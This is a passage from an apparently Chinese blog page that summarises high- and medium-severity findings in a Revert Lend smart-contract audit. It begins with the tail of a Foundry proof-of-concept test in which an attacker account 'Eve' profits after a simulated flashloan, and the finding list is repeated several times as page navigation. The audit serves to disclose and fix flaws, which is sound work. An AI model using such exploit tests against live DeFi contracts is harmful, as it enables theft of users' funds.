        weth.transfer(address(0), tv.wethFlashloan); // Simulate flashloan repayment by transferring to the burn address
        vm.stopPrank();

                // Assert that Eve profited
        assertEq(weth.balanceOf(eve), 568684386651804250);
    }
    function _getTick(IUniswapV3Pool pool) internal returns(int24) {
        (,int24 tick,,,,,) = pool.slot0();
        return tick;
    }
    function _isInRange(IUniswapV3Pool pool, uint256 tokenId) internal returns(bool) {
        int24 tick = _getTick(pool);
        (,,,,,int24 lowerTick, int24 upperTick,,,,,) = NPM.positions(tokenId);
        if(tick >= lowerTick && tick &lt;= upperTick) {
            return true;
        }
        return false;
    }
}

</details>

原创
学分: 20
分类: 安全
标签: 安全审计区块链安全

本文参与登链社区写作激励计划，好文好收益，欢迎正在阅读的你也加入。

Revert Lend: 最新审计报告的中高级 bugs 速读

1.[High] `_getReferencePoolPriceX96()` will show incorrect price for negative tick deltas in current implementation cause it doesn’t round up for them

Negative tickCumulativesDelta

2.[High] Owner of a position can prevent liquidation due to the onERC721Received callback

`onERC721Received()` prevents liquidation

3.[Medium] No minLoanSize means liquidators will have no incentive to liquidate small positions

`minLoanSize` = 0

4.[Medium] Lack of safety buffer in `_checkLoanIsHealthy` could subject users who take out the max loan into a forced liquidation

Lacks a safety buffer

0 条评论

文章目录

Revert Lend: 最新审计报告的中高级 bugs 速读

1.[High] _getReferencePoolPriceX96() will show incorrect price for negative tick deltas in current implementation cause it doesn’t round up for them

Negative tickCumulativesDelta

2.[High] Owner of a position can prevent liquidation due to the onERC721Received callback

onERC721Received() prevents liquidation

3.[Medium] No minLoanSize means liquidators will have no incentive to liquidate small positions

minLoanSize = 0

4.[Medium] Lack of safety buffer in _checkLoanIsHealthy could subject users who take out the max loan into a forced liquidation

Lacks a safety buffer

0 条评论

文章目录

1.[High] `_getReferencePoolPriceX96()` will show incorrect price for negative tick deltas in current implementation cause it doesn’t round up for them

`onERC721Received()` prevents liquidation

`minLoanSize` = 0

4.[Medium] Lack of safety buffer in `_checkLoanIsHealthy` could subject users who take out the max loan into a forced liquidation